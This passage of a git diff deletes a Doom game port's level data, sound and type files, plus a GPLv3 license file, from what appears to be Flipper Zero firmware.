0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x90, 0xFF, 0xFF, 0xFF, 0x4F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0xF2, - 0x00, 0x00, 0x09, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0x4F, 0xFF, 0xFF, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x0F, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x0F, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xF0, 0x00, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x0F, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0x40, 0x00, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xF0, 0x00, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0x4F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0x5F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x20, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, - 0xF0, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, - 0xF0, 0x00, 0xFF, 0x00, 0x02, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, - 0xF0, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x20, - 0x00, 0x00, 0x00, 0x20, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0xFF, - 0xF0, 0x00, 0x05, 0x00, 0x00, 0x90, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x20, 0x00, 0x04, 0x00, 0x00, 0x20, 0x00, 0xFF, - 0xF0, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x00, 0xFF, - 0xF0, 0x00, 0xFF, 0x00, 0x00, 0x02, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, - 0xF0, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xF0, 0x0F, 0xFF, 0xFF, 0x00, 0x00, 0x08, 0x00, 0xFF, - 0xF0, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x0F, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0x5F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0x4F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF2, 0x02, 0xFF, 0xFF, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xF0, 0x00, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x20, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0x40, 0x80, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xF0, 0x00, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x0F, 0xFF, 0x0F, 0x0F, 0x0F, 0x0F, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x40, 0x00, 0x02, 0x00, 0x90, 0xFF, 0xFF, - 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, - 0xF0, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x50, 0x00, 0x20, 0x00, 0x7F, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0F, 0x0F, 0x0F, 0x0F, 0xFF, 0xFF, - 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x0F, 0x00, 0xF0, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0x5F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x0F, 0x00, 0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, - 0xF0, 0x00, 0xF0, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x01, 0x00, - 0x40, 0x00, 0x40, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, - 0xF0, 0x00, 0xF0, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, - 0xF0, 0x00, 0xF0, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, - 0x40, 0x00, 0x40, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, - 0xF0, 0x00, 0xF0, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x29, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, -}; - -#endif diff --git a/applications/external/doom/sound.h b/applications/external/doom/sound.h deleted file mode 100644 index 514381334..000000000 --- a/applications/external/doom/sound.h +++ /dev/null @@ -1,34 +0,0 @@ -#ifndef sound_h -#define sound_h -#include -#include -#include -#include "doom_music_player_worker.h" - -//static const char dspistol[] = "AnyConv:d=,o=,b=120:408,40p,40p,40p,40p,405,40p,40p,40p,405,30p.,30p.,30p.,13p"; -static const char dsintro[] = - "Doom:d=32,o=4,b=56:f,f,f5,f,f,d#5,f,f,c#5,f,f,b,f,f,c5,c#5,f,f,f5,f,f,d#5,f,f,c#5,f,f,8b.,f,f,f5,f,f,d#5,f,f,c#5,f,f,b,f,f,c5,c#5,f,f,f5,f,f,d#5,f,f,c#5,f,f,8b.,a#,a#,a#5,a#,a#,g#5,a#,a#,f#5,a#,a#,e5,a#,a#,f5,f#5,a#,a#,a#5,a#,a#,g#5,a#,a#,f#5,a#,a#,8e5"; -//static const char dsgetpow[] = "dsgetpow:d=,o=,b=120:407,40p,30.6,407,40p,406,40p,407,40p,40p,407,30p.,407"; -//static const char dsnoway[] = "dsnoway:d=,o=,b=120:407,30.4"; - -#define MUSIC_PLAYER_SEMITONE_HISTORY_SIZE 4 -static const float MUSIC_PLAYER_VOLUMES[] = {0, .25, .5, .75, 1}; - -typedef struct { - uint8_t semitone_history[MUSIC_PLAYER_SEMITONE_HISTORY_SIZE]; - uint8_t duration_history[MUSIC_PLAYER_SEMITONE_HISTORY_SIZE]; - - uint8_t volume; - uint8_t semitone; - uint8_t dots; - uint8_t duration; - float position; -} MusicPlayerModel; - -typedef struct { - MusicPlayerModel* model; - MusicPlayerWorker* worker; - FuriMutex** model_mutex; -} MusicPlayer; - -#endif \ No newline at end of file diff --git a/applications/external/doom/types.c b/applications/external/doom/types.c deleted file mode 100644 index 6b55d56a7..000000000 --- a/applications/external/doom/types.c +++ /dev/null @@ -1,33 +0,0 @@ -#include "types.h" - -/*template -inline T sq(T value) { - return value * value; -}*/ - -double sq(double val) { - return val * val; -} - -//extern "C" -Coords create_coords(double x, double y) { - Coords cord; - cord.x = x; - cord.y = y; - return cord; -} - -//extern "C" -uint8_t coords_distance(Coords* a, Coords* b) { - return sqrt(sq(a->x - b->x) + sq(a->y - b->y)) * 20; -} - -//extern "C" -UID create_uid(uint8_t type, uint8_t x, uint8_t y) { - return ((y << 6) | x) << 4 | type; -} - -//extern "C" -uint8_t uid_get_type(UID uid) { - return uid & 0x0F; -} diff --git a/applications/external/doom/types.h b/applications/external/doom/types.h deleted file mode 100644 index b8579f645..000000000 --- a/applications/external/doom/types.h +++ /dev/null @@ -1,36 +0,0 @@ -#ifndef _types_h -#define _types_h - -#include -#include -//#include "constants.h" - -#define UID_null 0 - -// Entity types (legend applies to level.h) -#define E_FLOOR 0x0 // . (also null) -#define E_WALL 0xF // # -#define E_PLAYER 0x1 // P -#define E_ENEMY 0x2 // E -#define E_DOOR 0x4 // D -#define E_LOCKEDDOOR 0x5 // L -#define E_EXIT 0x7 // X -// collectable entities >= 0x8 -#define E_MEDIKIT 0x8 // M -#define E_KEY 0x9 // K -#define E_FIREBALL 0xA // not in map - -typedef uint16_t UID; -typedef uint8_t EType; - -typedef struct Coords { - double x; - double y; -} Coords; - -UID create_uid(EType type, uint8_t x, uint8_t y); -EType uid_get_type(UID uid); -Coords create_coords(double x, double y); -uint8_t coords_distance(Coords* a, Coords* b); - -#endif diff --git a/applications/external/dtmf_dolphin/LICENSE b/applications/external/dtmf_dolphin/LICENSE deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/dtmf_dolphin/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire 